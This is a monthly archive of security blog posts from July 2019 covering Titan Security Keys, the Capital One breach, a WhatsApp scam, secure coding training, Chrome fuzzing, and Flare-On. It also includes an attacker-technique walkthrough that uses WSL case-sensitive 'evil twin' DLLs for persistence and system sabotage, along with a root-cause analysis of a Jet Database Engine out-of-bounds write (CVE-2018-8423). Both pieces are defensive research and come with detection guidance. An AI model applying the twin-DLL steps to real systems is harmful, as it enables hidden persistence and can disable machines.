Monthly Archives: July 2019

Titan Security Keys are now available in Canada, France, Japan, and the UK

Posted by Christiaan Brand, Product Manager, Google Cloud


Credential compromise as a result of phishing is one of the most common causes of security breaches. Security keys provide the strongest protection against these types of attacks, and that’s one of the main reasons why Google requires them as a second factor of authentication for our employees.

Last year, we launched Titan Security Keys in the United States and were excited to see strong demand from users and businesses choosing to protect their personal and work Google Accounts. Starting today, Titan Security Keys are also available on the Google Store in Canada, France, Japan, and the United Kingdom (UK).



Titan Security Keys


Titan Security Keys are built with a hardware chip that includes firmware engineered by Google to verify the keys’ integrity. Each key leverages FIDO standards to cryptographically verify your identity and URL of the login page, preventing an attacker from accessing your account even if you are tricked into providing your username and password. Security keys are appropriate for any security-conscious user or enterprise, and we recommend that all users, especially those at higher risk such as IT administrators, executives, politicians, and activists consider signing in via security keys.

Bundles of two Titan Security Keys (one USB/NFC and one Bluetooth) are available on the Google Store in Canada, France, Japan, and the UK in addition to the US. To set up your security keys with your personal or work Google Account, sign in and navigate to the 2-Step Verification page. In addition, you can enroll in the Advanced Protection Program, which provides Google’s strongest security for anyone at risk of targeted attacks. Titan Security Keys can also be used anywhere FIDO security keys are supported, including Coinbase, Dropbox, Facebook, GitHub, Salesforce, Stripe, Twitter, and more

Enterprise administrators can require security keys for their users in G Suite and Google Cloud Platform (GCP). Bulk orders of unbundled Titan Security Keys are available in Canada, Japan, and the US.

The latest large-scale data breach: Capital One | TECH(feed)

Just a few days after Equifax settled with the FTC over its 2017 data breach, Capital One announced it was the target of a March attack. Identifying information and bank account numbers are among some of the data breached in the attack that affects 100 million people. A software engineer is behind the attack and is awaiting a hearing. In this episode of TECH(feed), Juliet discusses the consequences of the attack and how to find out if you've been affected.

Be Wary of WhatsApp Messages Offering 1000GB of Free Data

Global messaging giant WhatsApp turned 10 years old this year. It’s not unusual for companies to provide loyal customers or members with gifts to show their appreciation during these milestones. Unfortunately, cybercriminals are using this as a ploy to carry out their malicious schemes. According to Forbes, security researchers have discovered a fraudulent message promising users 1000GB of free internet data, which is a scam bringing in ad click revenue for cybercriminals.

Let’s dive into the details of this suspicious message. The text reads “WhatsApp Offers 1000GB Free Internet!” and includes a link to click on for more details. However, the link provided doesn’t use an official WhatsApp domain. Many users might find this confusing since some businesses do run their promotions through third-party organizations. Forbes states that once a user clicks on the link, they are taken to a landing page that reads “We offer you 1000 GB free internet without Wi-Fi! On the occasion of our 10th anniversary of WhatsApp.” To make the user feel like they need to act fast, the landing page also displays a bright yellow countdown sticker warning that there are a limited number of awards left.

As of now, it doesn’t appear that the link spreads malware or scrapes users’ personal information. However, the scam could eventually evolve into a phishing tactic. Additionally, the more users click on the fraudulent link, the more the cybercriminals behind this scheme rack up bogus ad clicks. This ultimately brings in revenue for the cybercrooks, encouraging them to continue creating these types of scams. For example, the domain being used by the scammers behind the WhatsApp message also hosts other fake brand-led promotional offers for Adidas, Nestle, Rolex, and more.

So, what can users do to prevent falling for these phony ads? Check out the following tips to help you stay secure:

  • Avoid interacting with suspicious messages. Err on the side of caution and don’t respond to direct messages from a company that seems out of the ordinary. If you want to know if a company is participating in a promotional offer, it is best to go directly to their official site to get more information.
  • Be careful what you click on.If you receive a message in an unfamiliar language, one that contains typos, or one that makes claims that seem too good to be true, avoid clicking on any attached links.
  • Stay secure while you browse online. Security solutions like McAfee WebAdvisor can help safeguard you from malware and warn you of phishing attempts so you can connect with confidence.

And, of course, stay on top of the latest consumer and mobile security threats by following me and @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Be Wary of WhatsApp Messages Offering 1000GB of Free Data appeared first on McAfee Blogs.

The Twin Journey, Part 1

Summary and Introduction:

The recent changes in Windows 10, aiming to add case sensitivity (CS) at directory level, have prompted our curiosity to investigate the potential to use CS as a mean of obfuscation or WYSINWYG (What You See is NOT What you Get). While CS was our entry point, we then ventured into other file naming techniques to achieve similar outcomes.

Threats and Red Teams may include these techniques in their arsenal to execute various versions of persistence tricks, scan avoidance, security bypass or, in extreme cases, make the system totally unusable.

As part of this blog we use the term “Evil Twins” to describe a scenario where 2 files on disk are crafted using specific file naming techniques to confuse security mechanisms, leading to the good twin being scrutinized while the evil twin flies under the radar.

This is part of a series that will explore each of the different scenarios and techniques we researched.

Evil Twins and WSL (Windows Sub-System for Linux) to the Rescue

Windows Linux Subsystem introduces a set of new cool features and provides interoperability between Linux & Windows, including the ability to execute ELF files.

Some time ago, case sensitiveness was enabled by default when using DRVFS, the file system driver that allows to mount Windows drives. (C:\\, D:\\) from a WSL instance.

After some internal releases it was removed, and case-sensitiveness did change over time in terms of CS inheritance, including the restriction to change sensitiveness of folders that already have “twins”.

The following technique relies on the ability to mount DRVFS with case=force that will literally override any case-sensitiveness set for any directory.

Any attacker that has admin rights and wants to achieve any of the following goals can rely on this approach to:

  • Persist & Hide files
  • Make the OS unusable
  • Stop many products from starting (even if they have other kinds of protection).
  • Alter dlls loaded to control the applications.

This scenario is based on the premise that WSL and a Linux distribution are installed. In case those requirements are not met, scripts that automate that process, or even importing your custom distribution.

For complex scenarios where installing WSL & importing a distribution is required, even although it’s possible to di programmatically for any adversary and even remove WSL, it will still be very noisy in terms of suspicious activities whether the workstation does not belong to a developer for instance. As time goes on, many companies that have Linux development will include WSL as part of the daily basics for developer workstations, servers, etc.

The execution steps would include something like:

  1. Enable WSL
  2. Check if a distribution is already installed / Install it if missing
  3. Look for LXSS and enable DRVFS force flag
  4. Depending on how the twin will be created you can do several things:
    1. Create a WSL conf file with automount options. This is optional since you can remount the /mnt/c folder with new options.
    2. Copy files from the rootfs folder in Windows to preserve permissions (read/execute/etc.) without messing with ACL’s on the Linux side.
      1. Approach #1: Create the proper files without starting bash until the end (only touching Windows files): Ex: One of the scripts just copies the environment file and, if it is empty, it adds some content, so it is executed from bashrc next time bash is launched.
      2. Approach #2: Create the proper files from bash itself, so you do not need to mess with permissions (this will depend on how systems will be alerted by detecting bash execution, etc.)
    3. Terminate WSL instances.
    4. Start bash (by using a task, autorun, or just as part of the PowerShell script)
      1. From here you can just execute commands on the POC example, depending on the script arguments; the commands to be executed are of /etc/bashrc file.
      2. VOILA, the script will create a folder or copy the twin dll in a non-cs enabled folder, thus promoting the twin as the file to look for next time.

Sample script:

Executing the technique to implant an Evil Twin dll: (replacing IEPROXY.dll for a mock that will just change the background)

The IEPROXY.DLL implant taking effect😊

Watch the video recorded by our expert Cedric Cochin, illustrating the entire technique:

Outcomes for this technique include:

  • A piece of ransomware creating C:\Windows\SYSTEM32 twin folder and not allowing a normal boot.
  • A targeted attack could create a IEPROXY.DLL so next time any application loads the dll it will load the compromised dll.
  • A targeted attack could create a C:\Program Files\[FAVORITE VENDOR] to disable such application, if the application is not CS aware/compatible

Protection and Detection with McAfee Products:

  • By using Endpoint Security Expert Rules, the registry key required to execute the entire workflow can be protected.
  • Active Response:
    • Setup a trigger to be notified of this situation whenever this registry key or a file is modified
      • File Trigger with condition: Files name equals wsl.conf”
      • Registry Trigger with condition: WinRegistry keypath starts with HKLM\System\ControlSet001\Services\lxss
    • Custom collector: PowerShell Script that can find duplicated names in a folder. (Scanning the entire disk may take longer that search timeout)
    • Files collector if enabled, looking for wsl.conf modifications.
      • “Files where Files name equals wsl.conf”
    • WinRegistry Collector :
      • “WinRegistry where WinRegistry keypath starts with HKLM\System\ControlSet001\Services\lxss”
  • MVISION EDR:
    • File collector if enabled, looking for wsl.conf modifications.
      • “Files where Files name equals wsl.conf”
    • WinRegistry Collector:
      • “WinRegistry where WinRegistry keypath starts with HKLM\System\ControlSet001\Services\lxss”

  • Historical search activity

Artifacts involved:

  • Modification of HKLM:\System\CurrentControlSet\Services\lxss\DrvFsAllowForceCaseSensitivity
  • Bash execution
  • Creation of new folder / dll (twin)
  • Optional:
    • Creation of /etc/wsl.conf ( Can be tracked from Windows rootfs folder)
    • Wslconfig /t execution to terminate instances
    • Installation / Download of Linux distribution or tar file import
    • WSL enabled

The post The Twin Journey, Part 1 appeared first on McAfee Blogs.

Key Considerations for Secure Coding Training

Developer training has an essential role in reducing code vulnerabilities and avoiding a breach. Effective application security requires both locating security-related defects, and fixing them. But developers simply aren’t equipped with the knowledge or skills they need to fix these flaws. Veracode recently sponsored the 2017 DevSecOps Global Skills Survey from DevOps.com, and found that less than one in four developers or other IT pros were required to take a single college course on security. Meanwhile, once developers get on the job, employers aren't advancing their security training options, either. Approximately 68 percent of developers and IT pros say their organizations don't provide them adequate training in application security. The good news is that getting developers the security training they need makes a big difference. Data collected for our State of Software Security report revealed that eLearning on secure coding improved developer fix rates by 19 percent; even better, remediation coaching improved fix rates by a whopping 88 percent.

Clearly, developer training on secure coding is both needed and effective. The following are some key elements to keep in mind when establishing security-training initiatives for development teams.

Consider the channel and the content

Consider employing a variety of training types to accommodate different learning styles and preferences, time zone differences, and to allow for both quick insights and deep dives. For instance, consider both self-paced eLearning training along with periodic instructor-led training.

In terms of content, ensure the training is both role- and technology-specific. For instance, different programming languages have different security idiosyncrasies, and each has its own propensity for different vulnerability types, so it’s important that your training is specific to your language.

Train on-the-job

Reinforce traditional training with on-the-job learning. When developers get instant feedback and learn to code securely as they are actively coding, they create more secure code faster and make less security missteps going forward. And some application security testing solutions offer this option. As our director of product marketing notes in a recent blog post, “The security testing serves as a feedback loop for developers and as a gate to stop security defects escaping to production.”

A recent Forrester report, Show, Don't Tell, Your Developers How To Write Secure Code, states that “the best application security testing tools … now come with good remediation advice for developers.” They recommend to “look for tools that include clickable and brief training modules and can be inserted as early into the SDLC as possible, such as spellchecker-like plug-ins to the integrated developer environment (IDE).”

For example, Veracode Greenlight, an IDE or CI integrated continuous flaw feedback and secure coding education solution, returns scans in seconds, helping you answer the question “is my code secure?”

Greenlight provides on-the-job developer security training through:

  • Remediation advice with code examples
  • Positive feedback when best practices are followed
  • In line education, learning as you code

Embrace security champions

Finally, one of the best ways to reinforce all your security training efforts is to employ security champions on your development teams. A security champion is a developer with an interest in security who helps amplify the security message at the team level. Security champions don’t need to be security pros; they just need to act as the security conscience of the team, keeping their eyes and ears open for potential issues. Once the team is aware of these issues, it can then either fix the issues in development or call in your organization’s security experts to provide guidance.

With a security champion, an organization can make up for a lack of security coverage or skills by empowering a member of the development team to act as a force multiplier who can pass on security best practices, answer questions, and raise security awareness.

Learn more

Get details on additional application security best practices in our new Application Security Best Practices Handbook.

And get tips and tricks on managing your AppSec program from other Veracode customers in our Community.

Capital One Benefits From Responsible Disclosure Program Following Massive Data Breach

Veracode Capital One Data Breach Coordinated Vulnerability Disclosure

This blog post was updated on August 1, 2019 to include additional details uncovered as a result of the ongoing investigation associated with the Capital One data breach.

Capital One’s data breach may be one for the record books, impacting as many as 106 million U.S. and Canadian credit applicants dating back to as early as 2005. While it’s natural to want to draw parallels to the 2017 Equifax breach, there are a couple of details in this story that make it remarkably different – including Capital One’s quick response to a tip submitted through its Responsible Disclosure process.

According to multiple reports, 33-year-old Paige A. Thompson allegedly gained access to approximately 140,000 Social Security numbers, 1 million Canadian Social Insurance numbers, and 80,000 linked bank account numbers. Other affected personal information included phone numbers and credit scores. Thompson, who is facing five years in prison and a fine of up to $250,000, was previously an employee of Amazon Web Services, which hosted the Capital One database that was breached.

“The attacker was an ex-AWS employee, which did not give her special privileges, but does go to explain expertise of the AWS platform,” said Veracode Co-Founder and CTO Chris Wysopal. “The attacker found a configuration error in a Web Application Firewall (WAF) that allowed privileged commands to be executed with the credentials of Capital One. These commands had privileges that allowed her to access the storage where the Capital One PII was stored.”

Paul Farrington, Veracode EMEA CTO, noted that WAF log files are likely to have been stored in the AWS S3 storage system, which may be how the attacker was able to access the customer data that contain PII. What’s yet to be understood is who the WAF vendor is – if this breach is indeed the result of a configuration error, this vulnerability may be undocumented and many other organizations could be at risk.

UPDATE: TechCrunch's Zack Whittaker has reported that, "Israeli security firm CyberInt said Vodafone, Ford, Michigan State University and the Ohio Department of Transportation may have also fallen victim to the same data breach," and that the Justice Department said Thompson may face additional charges, which suggests other companies may have been involved.  

What Does Coordinated Disclosure Have To Do With It?

Many news outlets are drawing parallels to the 2017 Equifax breach, saying that this may not have happened if adequate measures had been taken legislatively to ensure significant consequence following breaches of this magnitude. The facts of the Capital One breach are certainly alarming, particularly when you consider that this is yet another example of consumers experiencing a significant privacy breach with far-reaching consequences. Certainly, the $700 million settlement Equifax is paying sets a precedent in penalizing companies that have not adequately protected their customers’ personal information – and failed to act quickly when a breach is brought to its attention.

That’s just one of the ways in which the Capital One breach is different. If the company was indeed breached through a WAF provided to them by a third-party vendor, it could be said that Capital One was doing its diligence to ensure the security of its customer data. We could get into how complicated supply chain security can be (think back to the AMCA data breach in June) and where the fault really lies in this case, but that seems fruitless given we don’t yet have all the facts.

It’s what we do know that deserves to be highlighted, both to differentiate this breach from Equifax and to highlight a critical best practice for all organizations with software underpinning the success of their business: Capital One has a working responsible disclosure process.

Thompson was not shy or discreet about her hack into the financial institution, posting the data she exfiltrated back in March to her GitHub account, which included her full name and resume. According to Wired, she also talked openly about it on Slack. The court documents indicate that on July 17, an anonymous tipster informed Capital One about the flaw and breach by emailing the responsible disclosure address with a warning about the data as well as the GitHub link.

In a statement made on July 29, Capital One said it, “immediately fixed the configuration vulnerability that this individual exploited and promptly began working with federal law enforcement. The FBI has arrested the person responsible and that person is in custody. Based on our analysis to date, we believe it is unlikely that the information was used for fraud or disseminated by this individual. However, we will continue to investigate."

Meaning that once informed through its disclosure process, Capital One alerted the FBI, fixed the vulnerability, and the suspect was arrested – all within 12 days. Although consumers are still waiting to see if their data has been impacted, this response and resolution is much faster than others we have historically seen.

When a vulnerability in Zoom was made public earlier this month, it was done so by a security researcher who had disclosed the vulnerability to the video conferencing company 90 days before he published his blog post. At that time, they still hadn’t fixed it, and it became major news in the hours and days following the public disclosure.

The Capital One data breach could have been far worse had it not been for the openness of the hacker and the financial institution’s responsible disclosure process. Consumers may still be waiting to find out whether or not their information was breached, but it is clear that Capital One either learned from the massive breaches that came before or has a security leader hip to the value of working with outside security researchers.

The debates around responsible disclosure – now more commonly referred to as coordinated disclosure – have been going on for many, many years. We know that both businesses and the security community see the value, and that there is frustration from security researchers when they are either ignored or feel the issue isn’t being remedied fast enough. While it is important to consider how best to handle these breaches when it comes to legislative involvement, it is just as important to strengthen the relationship between enterprise and security researchers to ensure smooth reporting and resolution of flaws.

Vulnerabilities and flaws aren’t going anywhere – but we can all work together better to make sure they’re harder to exploit, and that resolution is swift after there has been a breach.

You can keep up with AppSec news like this, plus get trends and best practices, by subscribing to our content.

How an attacker can target phishing attacks

There are a number of ways attackers can exploit public information about your organization's employees. CSO Online's Susan Bradley walks through how an attacker can gain access to your organization's Office 365 accounts and how you can protect your enterprise from these potential attacks.

List of data breaches and cyber attacks in July 2019 – 2.3 billion records leaked

Remember after last month’s relatively serene cyber security scene we said this wasn’t the beginning of the GDPRevolution?

July was bound to be a bounce-back month, but we couldn’t have expected the frighteningly high total of 2,359,114,047 breached records.

Granted, a big chunk of those come from a single incident – a mammoth breach involving a Chinese smart tech supplier – but as unimaginative football commentators say, ‘they all count’.

Let’s take a look at the full list:

Cyber attacks



Ransomware


a business will fall victim to a ransomware attack every 14 seconds in 2019, and every 11 seconds by 2021.


Data breaches

Financial information

Malicious insiders and miscellaneous incidents

In other news…

The post List of data breaches and cyber attacks in July 2019 – 2.3 billion records leaked appeared first on IT Governance Blog.

Capital One Data Breach: How Impacted Users Can Stay More Secure

Capital One is one of the 10 largest banks based on U.S. deposits. As with many big-name brands, cybercriminals see these companies as an ideal target to carry out large-scale attacks, which has now become a reality for the financial organization. According to CNN, approximately 100 million Capital One users in the U.S. and 6 million in Canada have been affected by a data breach exposing about 140,000 Social Security numbers, 1 million Canadian Social Insurance numbers, and 80,000 bank account numbers, and more.

According to the New York Post, the alleged hacker claimed the data was obtained through a firewall misconfiguration. This misconfiguration allowed command execution with a server that granted access to data in Capital One’s storage space at Amazon. Luckily, Capital One stated that it “immediately fixed the configuration vulnerability.”

This breach serves as a reminder that users and companies alike should do everything in their power to keep personal information protected. If you think you might have been affected by this breach, follow these tips to help you stay secure:

  • Check to see if you’ve been notified by Capital One. The bank will notify everyone who was affected by the breach and offer them free credit monitoring and identity protection services. Be sure to take advantage of the services and check out the website Capital One set up for information on this breach.
  • Review your accounts. Be sure to look over your credit card and banking statements and report any suspicious activity as soon as possible. Capital One will allow you to freeze your card so purchases can no longer be made.
  • Change your credentials. Err on the side of caution and change your passwords for all of your accounts. Taking extra precautions can help you avoid future attacks.
  • Freeze your credit. Freezing your credit will make it impossible for criminals to take out loans or open up new accounts in your name. To do this effectively, you will need to freeze your credit at each of the three major credit-reporting agencies (Equifax, TransUnion, and Experian).
  • Consider using identity theft protection. A solution like McAfee Identify Theft Protection will help you to monitor your accounts and alert you of any suspicious activity.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Capital One Data Breach: How Impacted Users Can Stay More Secure appeared first on McAfee Blogs.

fsociety Hacking Tools Pack – A Penetration Testing Framework

Fsociety Hacking Tools Pack A Penetration Testing Framework, you will have every script that a hacker needs   Fsociety Contains All Tools Used in Mr. Robot Series     Menu Information Gathering Password Attacks Wireless Testing Exploitation Tools Sniffing & Spoofing Web Hacking Private Web Hacking Post Exploitation Contributors Install & Update Information Gathering: Nmap ... Read morefsociety Hacking Tools Pack – A Penetration Testing Framework

The post fsociety Hacking Tools Pack – A Penetration Testing Framework appeared first on HackingVision.

Chrome Fuzzer Program Update And How-To

TL;DR We increased the Chrome Fuzzer Program bonus from $500 to $1,000 as part of our recent update of reward amounts.

Chrome Fuzzer Program is a part of the Google Chrome Vulnerability Reward Program that lets security researchers run their fuzzers at scale on the ClusterFuzz infrastructure. It makes bug reporting fully automated, and the fuzzer authors get the same rewards as if they reported the bugs manually, plus an extra bonus ($1,000 as of now) on top of it for every new vulnerability.

We run fuzzers indefinitely, and some of the fuzzers contributed years ago are still finding security issues in ever changing Chrome code. This is a win-win for both sides, as security researchers do not have to spend time analyzing the crashes, and Chrome developers receive high quality bug reports automatically.

To learn more about the Chrome Fuzzer Program, let’s talk to Ned Williamson, who’s been a participant since 2017 and now works on the Google Security team.

Q: Hey Ned! It looks like you’ve received over $50,000 by participating in the Google Chrome Vulnerability Reward Program with your quic_stream_factory_fuzzer.

A: Yes, it’s true. I wrote a fuzzer for QUIC which helped me find and report two critical vulnerabilities, each worth $10,000. Because I knew my fuzzer worked well, I submitted it to the Chrome Fuzzer Program. Then, in the next few months, I received that reward three more times (plus a bonus), as the fuzzer caught several security regressions on ClusterFuzz soon after they happened.

Q: Have you intentionally focused on the areas that yield higher severity issues and bigger rewards?

A: Yes. While vulnerabilities in code that is more critical to user security yield larger reward amounts, I actually started by looking at lower severity bugs and incrementally began looking for more severe bugs until I could find critical ones. You can see this progression by looking at the bugs I reported manually as an external researcher.

Q: Would you suggest starting by looking for non-critical bugs?

A: I would say so. Security-critical code is generally better designed and more thoroughly audited, so it might be discouraging to start from there. Finding less critical security bugs and winning bounties is a good way to build confidence and stay motivated.

Q: Can you share an algorithm on how to find security bugs in Chrome?

A: Looking at previous and existing bug reports, even for non-security crashes, is a great way to tell which code is security-critical and potentially buggy. From there, if some code looks like it’s exposed to user inputs, I’d set up a fuzzing campaign against that component. After you gain experience you will not need to rely on existing reports to find new attack surface, which in turn helps you find places that have not been considered by previous researchers. This was the case for my QUIC fuzzer.

Q: How did you learn to write fuzzers?

A: I didn’t have any special knowledge about fuzzing before I started looking for vulnerabilities in Chrome. I followed the documentation in the repository and I still follow the same process today.

Q: Your fuzzer isn’t very simple compared to many other fuzzers. How did you get to that implementation?

A: The key insight in the QUIC fuzzer was realizing that the parts of the code that handled plaintext messages after decryption were prone to memory corruption. Typically, fuzzing does not perform well with encrypted inputs (it’s pretty hard to “randomly” generate a packet that can be successfully decrypted), so I extended the QUIC testing code to allow for testing with encryption disabled.

Q: Are there any other good examples of fuzz targets employing a similar logic?

A: Another example is pdf_formcalc_context_fuzzer that wraps the fuzzing input around with a valid hardcoded PDF file, therefore focusing fuzzing only on the XFA script part of it. As a researcher, you just need to choose what exactly you want to fuzz, and then understand how to execute that code properly. Looking at the unit tests is usually the easiest way to get such an understanding.

Useful links:

Happy fuzzing and bug hunting!

Don’t Silo Your Endpoint Security Roadmap

If there’s a gap you bridge it, if there’s a hole you plug it. These are simple musts that businesses have to follow – they need to right wrongs and adjust processes to create better outcomes. The same thing goes for the security teams tasked with safeguarding these organizations, who know they must always bridge the gap between exposed and secure. These security teams know that in order to plug any holes they must at minimum apply standard endpoint security to their infrastructure. While most teams know one solution can’t be the be-all and end-all for their strategy, many are still slow to adopt new technologies to their defense strategy. Here’s why.

Outdated Adoption Mindsets

I meet a lot of security professionals that are aware a better mousetrap exists, but feel as though the pains of making a change outweigh the advantages of better detection or threat detail. I get it, I’m up against my own list of critical projects and nice-to-have things that are difficult to move to the top of the list. Maybe that’s why so many businesses are stating they intend to adopt next-gen technologies but are struggling with the expertise to move ahead with a product or deploy it.

When it comes to getting more tactical against the latest generation of threats that are designed to evade detection, the natural next step for these teams is to add a product like McAfee MVISION EDR. This type of product is top of mind for many right now, as 82% of IT leaders say they don’t have the visibility they need. As a threat hunting tool, EDR tells security teams how exactly threats entered an environment, what these threats did while inside, and how teams can pivot to action against them now and prevent similar attacks from happening again. The value of the EDR might be understood, but adopting it is usually hindered by pre-existing mindsets.

Many security professionals out there think of products, such as McAfee ENS and McAfee MVISION EDR as two separate entities. The same thing goes for solutions such as DLP and CASB. These teams often adopt one solution at a time, with the hope of eventually being able to collect them all one day. Compounding this issue, many fear they’re going to overwhelm existing staff with all the new training and education required for proper adoption. But therein lies the problem – these solutions shouldn’t be viewed as a burden or mutually exclusive, given accurate threat protection in today’s modern threat landscape is reliant on multiple success factors working together at the same time. Adoption should be holistic and simultaneous.

The Importance of Integration

Just like one size typically doesn’t fit all, one solution cannot address all threats. That means your defense strategy shouldn’t rely on just one defense or detection method to protect every user from every kind of threat. Therefore, security teams need to clear out old notions and start looking at solution adoption with the idea of integration and a platform that is sustainable for the long term, not just a product. Meaning, by achieving the right convergence of solutions, teams will establish a holistic security posture for their organization, ultimately positioning it for success.
So, what does this blend of solutions look like? To cover all the bases, organizations should look toward adopting solutions designed with collaboration and integration in mind. Take McAfee’s EPP for example, which is built with the future in mind. Our cloud-first MVISION products are designed to help you transform your IT environment. Specifically, our EDR solution is designed to meet you where you are with AI-guided investigations, detecting and remediating both the opportunistic and targeted attacks.

The more defense solutions can work together, the more actions can be automated and burdens can be reduced for the IT staff. So, instead of making your buying decision in order to fill a gap in today’s environment, make sure you buy with tomorrow’s gaps in mind. Focus on how the product you buy today will work or not work with the purchases you make in the future. From there, security will move beyond a simple must, becoming second nature.

 

To learn more about effective endpoint security strategy, be sure to follow us @McAfee and @McAfee_Business.

The post Don’t Silo Your Endpoint Security Roadmap appeared first on McAfee Blogs.

Announcing the Sixth Annual Flare-On Challenge

The FireEye Labs Advanced Reverse Engineering (FLARE) team is thrilled to announce that the popular Flare-On reverse engineering challenge will return for the sixth straight year. The contest will begin at 8:00 p.m. ET on Aug. 16, 2019. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts, and security professionals. The contest runs for six full weeks and ends at 8:00 p.m. ET on Sept. 27, 2019.

This year’s contest will feature a total of 12 challenges covering a variety of architectures from x86 on Windows, .NET, Linux, and Android. Also, for the first time in Flare-On history, the contest will feature a NES ROM challenge. This is one of the only Windows-centric CTF contests out there and we have crafted it to represent the skills and challenges our FLARE team faces.

If you are skilled and dedicated enough to complete the Sixth Flare-On challenge, you will receive a prize and recognition on the Flare-On website for your accomplishment. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. Previous prizes included belt buckles, a replica police badge, a challenge coin, and a huge pin.

Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon6

Jet Database Engine Flaw May Lead to Exploitation: Analyzing CVE-2018-8423

In September 2018, the Zero Day Initiative published a proof of concept for a vulnerability in Microsoft’s Jet Database Engine. Microsoft released a patch in October 2018. We investigated this flaw at that time to protect our customers. We were able to find some issues with the patch and reported that to Microsoft, which resulted in another vulnerability, CVE-2019-0576, which was fixed on 8-Jan-2018 (Microsoft Jan 2019 Patch Tuesday).

The vulnerability exploits the Microsoft Jet Database Engine, a component used in many Microsoft applications, including Access. The flaw allows an attacker to execute code to escalate privileges or to download malware. We do not know if the vulnerability is used in any attacks; however, the proof of concept code is widely available.

Overview

To exploit this vulnerability, an attacker needs to use social engineering techniques to convince a victim to open a JavaScript file which uses an ADODB connection object to access a malicious Jet Database file. Once the malicious Jet database file is accessed, it calls the vulnerable function in msrd3x40.dll which can lead to exploitation of this vulnerability.

Although the available proof of concept causes a crash in wscript.exe, any application using this DLL is susceptible to the attack.

The following error message indicates the vulnerability was successfully triggered:

The message shows an access violation occurred in the vulnerable DLL. This vulnerability is an “out-of-bounds write,” which can be triggered via OLE DB, the API used to access data in many Microsoft applications. This type of vulnerability indicates that data can be written outside of the intended buffer, resulting in a crash. The cause of the crash is the maliciously crafted Jet database file. The file exploits an index field in the Jet database file format with an unexpectedly large number, resulting in an out-of-bounds write and, ultimately, the preceding crash.

The following diagram provides a high-level view of how the exploit works:

Exploit in Action

The proof of concept code contains one JavaScript file (poc.js), which calls a second file (group1). This is the Jet database file. By running poc.js through wscript.exe, we can trigger the crash.

As we see in the preceding image, we can review debug information to determine the function that crashes is “msrd3x40!TblPage::CreateIndexes.” Furthermore, we can determine that the program is trying to write data and failing. Specifically, we can see that the program is using the “esi” register to write to the location [edx+ecx*4+574h], but that location is not accessible.

We need to understand how this location is constructed to provide clues to the root cause. The debug information shows that register ecx contains the value 0x00002300. Edx is a pointer to memory that we will see again later. Finally, they are added together with an offset of 574 hexadecimal bytes to reference the memory location. From this information, we can guess the type of data that is stored there. It appears to be an array in which each variable is 4 bytes long and starts at the location edx+574h. While tracking the program, we determined the value 0x00002300 comes from the proof-of-concept file group1.

We know that the program attempts to write out of bounds and we know where the attempt occurs. Now we need to determine why the program attempts to write at that location. We investigate the user-provided data of 0x00002300 to understand its purpose. To do this we must understand the Jet database file.

Analyzing the Jet Database File

Many researchers have extensively analyzed the Jet database file structure. Some of the details of previous work can be found at the following links:

To summarize, a Jet database file is organized as a collection of pages, as shown in the following image:

The header page contains various information related to the file:

After the header come 126 bytes, RC4 encrypted, with the specific key 0x6b39dac7, which is the same for every JetDB file. Comparing the key value with the proof-of-concept file, we can identify that group1 is a Jet Version 3 file.

Further examination leads to a Table Definition Pages section, which describes various data structures for a table. (Click here for details.)

The table definition data has various fields, including two of note: Index Count and Real Index Count.

We can determine the value of these in our proof-of-concept file. When we check this with the group1 file, we see following:

There are total of two indexes in the Index Count. When we parse both indexes we see the familiar value of 0x00002300:

Our offending value 0x00230000 is the index number for index2 in the table. This index seems rather large and leads to the crash. Why does it crash the program? Further parsing the file, we find the names of the two indexes:

Debugging

With a debugger attached, we can see that first program calls the function “msrd3x40!operator new.” This allocates memory that stores the memory pointer address in eax:

After the memory is allocated, the program creates the new index:

This index number is used later in the execution. The function msrd3x40!Index::Restore copies that index number to the index address + 24h. This process is repeated in a loop for all indexes. First it calls the “new” operator, which allocates the memory. It then creates an index on that address and moves the index number to the base address of the index +24h. We see this move in the following code, which shows the malicious index value copied to newly created index:

Once successfully moved, the function msrd3x40!NamedObject::Rename is called and copies the index name value to the index address +40h:

If we look at the esi register, we see it points to the address of the index. The ecx register has a value of [esi+24h], which is the index number:

After a few more instructions, we can observe the original crash instructions. Edx points to the memory location. Ecx contains a very large number from the file group1. The program tries to access memory at location [edx+ecx*4+574h], which will cause the out-of-bounds write and the program crashes:

What is happening with the data the program tries to write? If we watch the instructions, we see that program tries to write the value of esi to [edx+ecx*4+574]. If we print esi or the previous value, we see that it contains the index name ParentIdName, which we saw in group1:

 

Ultimately, the program crashes while trying to process ParentIDName with a very large index number. The logic:

  • Allocate the memory and get the pointer to the start of the memory location.
  • From the start of memory location +574h, the program saves pointers to index names with each occupying 4 bytes multiplied by the index number mentioned in the file.

If the index number is very large, as in this case, and no validation is done, then the program will try to write out of bounds and crash.

Conclusion

This is a logic error and such errors are sometimes hard to catch. Many developers take extra precautions to avoid these types of bugs in their code. It is even more unfortunate when these bugs lead to serious security issues such as with CVE-2018-8423. When these issues are discovered and patched, we recommend applying the vendor patch as soon as possible to reduce your security risks.

Microsoft patches can be downloaded and installed from the following locations for respective CVEs:

CVE-2018-8423

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8423

CVE-2019-0576

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0576

McAfee Detection:

McAfee Network Security Platform customers are protected from this vulnerability by Signature IDs 0x45251700 – HTTP: Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2018-8423) and 0x4525890 – HTTP: Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2019-0576).

McAfee AV detects malicious file as BackDoor-DKI.dr .

McAfee HIPS, GBOP (Generic Buffer Overflow Protection) feature might cover this, depending on the process used to exploit the vulnerability.

We thank Steve Povolny of McAfee’s Advanced Threat Research team, and Bing Sun and Imran Ebrahim of McAfee’s Hybrid Gateway Security team for their support and guidance with this analysis.

 

References

The post Jet Database Engine Flaw May Lead to Exploitation: Analyzing CVE-2018-8423 appeared first on McAfee Blogs.

“Hackable?” Dedicates an Entire Episode to “Mr. Robot”

